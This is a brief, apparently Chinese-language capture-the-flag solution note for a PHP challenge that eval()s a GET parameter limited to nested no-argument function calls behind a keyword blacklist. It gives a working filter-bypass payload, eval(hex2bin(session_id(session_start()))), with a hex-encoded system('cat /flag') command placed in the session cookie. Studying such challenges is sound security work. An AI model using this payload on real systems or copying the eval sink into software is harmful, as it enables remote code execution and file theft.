无字符GETSHELL就行
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 | <?phpif(isset($_GET['var'])){
 if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {
 if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
 eval($_GET['var']);
 }
 }
 else{
 die("Sorry!");
 }
 }
 else{
 show_source(__FILE__);
 }
 ?>
 
 | 
payload:eval(hex2bin(session_id(session_start())))
改PHPSSEION值为16进制就行
system(‘cat /flag’);     ->      73797374656d2827636174202f666c616727293b